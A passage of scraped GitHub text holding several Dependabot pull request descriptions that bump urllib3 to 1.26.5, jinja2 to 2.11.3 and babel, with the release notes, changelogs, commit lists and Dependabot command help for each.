href="https://github.com/python-babel/babel/compare/v2.7.0...v2.9.1">compare view</a></li> </ul> </details>
<br />
Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting
@dependabot rebase.
Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
@dependabot rebasewill rebase this PR@dependabot recreatewill recreate this PR, overwriting any edits that have been made to it@dependabot mergewill merge this PR after your CI passes on it@dependabot squash and mergewill squash and merge this PR after your CI passes on it@dependabot cancel mergewill cancel a previously requested merge and block automerging@dependabot reopenwill reopen this PR if it is closed@dependabot closewill close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually@dependabot ignore this major versionwill close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this minor versionwill close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this dependencywill close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)@dependabot use these labelswill set the current labels as the default for future PRs for this repo and language@dependabot use these reviewerswill set the current reviewers as the default for future PRs for this repo and language@dependabot use these assigneeswill set the current assignees as the default for future PRs for this repo and language@dependabot use this milestonewill set the current milestone as the default for future PRs for this repo and languageYou can disable automated security fix PRs for this repo from the Security Alerts page.
Bumps urllib3 from 1.25.7 to 1.26.5.
Sourced from urllib3's releases.
1.26.5
:warning: IMPORTANT: urllib3 v2.0 will drop support for Python 2: Read more in the v2.0 Roadmap
- Fixed deprecation warnings emitted in Python 3.10.
- Updated vendored
sixlibrary to 1.16.0.- Improved performance of URL parser when splitting the authority component.
If you or your organization rely on urllib3 consider supporting us via GitHub Sponsors
1.26.4
:warning: IMPORTANT: urllib3 v2.0 will drop support for Python 2: Read more in the v2.0 Roadmap
- Changed behavior of the default
SSLContextwhen connecting to HTTPS proxy during HTTPS requests. The defaultSSLContextnow setscheck_hostname=True.If you or your organization rely on urllib3 consider supporting us via GitHub Sponsors
1.26.3
:warning: IMPORTANT: urllib3 v2.0 will drop support for Python 2: Read more in the v2.0 Roadmap
Fixed bytes and string comparison issue with headers (Pull #2141)
Changed
ProxySchemeUnknownerror message to be more actionable if the user supplies a proxy URL without a scheme (Pull #2107)If you or your organization rely on urllib3 consider supporting us via GitHub Sponsors
1.26.2
:warning: IMPORTANT: urllib3 v2.0 will drop support for Python 2: Read more in the v2.0 Roadmap
- Fixed an issue where
wrap_socketandCERT_REQUIREDwouldn't be imported properly on Python 2.7.8 and earlier (Pull #2052)1.26.1
:warning: IMPORTANT: urllib3 v2.0 will drop support for Python 2: Read more in the v2.0 Roadmap
- Fixed an issue where two
User-Agentheaders would be sent if aUser-Agentheader key is passed asbytes(Pull #2047)1.26.0
:warning: IMPORTANT: urllib3 v2.0 will drop support for Python 2: Read more in the v2.0 Roadmap
Added support for HTTPS proxies contacting HTTPS servers (Pull #1923, Pull #1806)
Deprecated negotiating TLSv1 and TLSv1.1 by default. Users that still wish to use TLS earlier than 1.2 without a deprecation warning should opt-in explicitly by setting
ssl_version=ssl.PROTOCOL_TLSv1_1(Pull #2002) Starting in urllib3 v2.0: Connections that receive aDeprecationWarningwill failDeprecated
RetryoptionsRetry.DEFAULT_METHOD_WHITELIST,Retry.DEFAULT_REDIRECT_HEADERS_BLACKLISTandRetry(method_whitelist=...)in favor ofRetry.DEFAULT_ALLOWED_METHODS,Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT, andRetry(allowed_methods=...)(Pull #2000) Starting in urllib3 v2.0: Deprecated options will be removed
... (truncated)
Sourced from urllib3's changelog.
1.26.5 (2021-05-26)
- Fixed deprecation warnings emitted in Python 3.10.
- Updated vendored
sixlibrary to 1.16.0.- Improved performance of URL parser when splitting the authority component.
1.26.4 (2021-03-15)
- Changed behavior of the default
SSLContextwhen connecting to HTTPS proxy during HTTPS requests. The defaultSSLContextnow setscheck_hostname=True.1.26.3 (2021-01-26)
Fixed bytes and string comparison issue with headers (Pull #2141)
Changed
ProxySchemeUnknownerror message to be more actionable if the user supplies a proxy URL without a scheme. (Pull #2107)1.26.2 (2020-11-12)
- Fixed an issue where
wrap_socketandCERT_REQUIREDwouldn't be imported properly on Python 2.7.8 and earlier (Pull #2052)1.26.1 (2020-11-11)
- Fixed an issue where two
User-Agentheaders would be sent if aUser-Agentheader key is passed asbytes(Pull #2047)1.26.0 (2020-11-10)
NOTE: urllib3 v2.0 will drop support for Python 2.
Read more in the v2.0 Roadmap <https://urllib3.readthedocs.io/en/latest/v2-roadmap.html>_.Added support for HTTPS proxies contacting HTTPS servers (Pull #1923, Pull #1806)
Deprecated negotiating TLSv1 and TLSv1.1 by default. Users that still wish to use TLS earlier than 1.2 without a deprecation warning
... (truncated)
d161647 Release 1.26.52d4a3fe Improve performance of sub-authority splitting in URL2698537 Update vendored six to 1.16.007bed79 Fix deprecation warnings for Python 3.10 ssl moduled725a9b Add Python 3.10 to GitHub Actions339ad34 Use pytest==6.2.4 on Python 3.10+f271c9c Apply latest Black formatting1884878 [1.26] Properly proxy EOF on the SSLTransport test suitea891304 Release 1.26.48d65ea1 Merge pull request from GHSA-5phf-pp7p-vc2rDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.
You can trigger Dependabot actions by commenting on this PR:
@dependabot rebase will rebase this PR@dependabot recreate will recreate this PR, overwriting any edits that have been made to it@dependabot merge will merge this PR after your CI passes on it@dependabot squash and merge will squash and merge this PR after your CI passes on it@dependabot cancel merge will cancel a previously requested merge and block automerging@dependabot reopen will reopen this PR if it is closed@dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually@dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)@dependabot use these labels will set the current labels as the default for future PRs for this repo and language@dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language@dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language@dependabot use this milestone will set the current milestone as the default for future PRs for this repo and languageYou can disable automated security fix PRs for this repo from the Security Alerts page.
Bumps jinja2 from 2.10.3 to 2.11.3.
Sourced from jinja2's releases.
2.11.3
This contains a fix for a speed issue with the
urlizefilter.urlizeis likely to be called on untrusted user input. For certain inputs some of the regular expressions used to parse the text could take a very long time due to backtracking. As part of the fix, the email matching became slightly stricter. The various speedups apply tourlizein general, not just the specific input cases.
- PyPI: https://pypi.org/project/Jinja2/2.11.3/
- Changes: https://jinja.palletsprojects.com/en/2.11.x/changelog/#version-2-11-3
2.11.2
2.11.1
This fixes an issue in async environment when indexing the result of an attribute lookup, like
{{ data.items[1:] }}.2.11.0
- Changes: https://jinja.palletsprojects.com/en/2.11.x/changelog/#version-2-11-0
- Blog: https://palletsprojects.com/blog/jinja-2-11-0-released/
- Twitter: https://twitter.com/PalletsTeam/status/1221883554537230336
This is the last version to support Python 2.7 and 3.5. The next version will be Jinja 3.0 and will support Python 3.6 and newer.
Sourced from jinja2's changelog.
Version 2.11.3
Released 2021-01-31
- Improve the speed of the
urlizefilter by reducing regex backtracking. Email matching requires a word character at the start of the domain part, and only word characters in the TLD. :pr:1343Version 2.11.2
Released 2020-04-13
- Fix a bug that caused callable objects with
__getattr__, like :class:~unittest.mock.Mockto be treated as a :func:contextfunction. :issue:1145- Update
wordcountfilter to trigger :class:Undefinedmethods by wrapping the input in :func:soft_str. :pr:1160- Fix a hang when displaying tracebacks on Python 32-bit. :issue:
1162- Showing an undefined error for an object that raises
AttributeErroron access doesn't cause a recursion error. :issue:1177- Revert changes to :class:
~loaders.PackageLoaderfrom 2.10 which removed the dependency on setuptools and pkg_resources, and added limited support for namespace packages. The changes caused issues when using Pytest. Due to the difficulty in supporting Python 2 and :pep:451simultaneously, the changes are reverted until 3.0. :pr:1182- Fix line numbers in error messages when newlines are stripped. :pr:
1178- The special
namespace()assignment object in templates works in async environments. :issue:1180- Fix whitespace being removed before tags in the middle of lines when
lstrip_blocksis enabled. :issue:1138- :class:
~nativetypes.NativeEnvironmentdoesn't evaluate intermediate strings during rendering. This prevents early evaluation which could change the value of an expression. :issue:1186Version 2.11.1
Released 2020-01-30
- Fix a bug that prevented looking up a key after an attribute (
{{ data.items[1:] }}) in an async template. :issue:1141
... (truncated)
cf21539 release version 2.11.315ef8f0 Merge pull request #1343 from pallets/urlize-speedupef658dc speed up urlize matchingeeca0fe Merge pull request #1207 from mhansen/patch-12dd7691 Merge pull request #1209 from mhansen/patch-34892940 do_dictsort: update example ready to copy/paste7db7d33 api.rst: bugfix in docs, import PackageLoader9ec465b fix changelog header737a4cd release version 2.11.2179df6b Merge pull request #1190 from pallets/native-evalDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.
You can trigger Dependabot actions by commenting on this PR:
@dependabot rebase will rebase this PR@dependabot recreate will recreate this PR, overwriting any edits that have been made to it@dependabot merge will merge this PR after your CI passes on it@dependabot squash and merge will squash and merge this PR after your CI passes on it@dependabot cancel merge will cancel a previously requested merge and block automerging@dependabot reopen will reopen this PR if it is closed@dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually@dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)@dependabot use these labels will set the current labels as the default for future PRs for this repo and language@dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language@dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language@dependabot use this milestone will set the current milestone as the default for future PRs for this repo and languageYou can disable automated security fix PRs for this repo from the Security Alerts page.
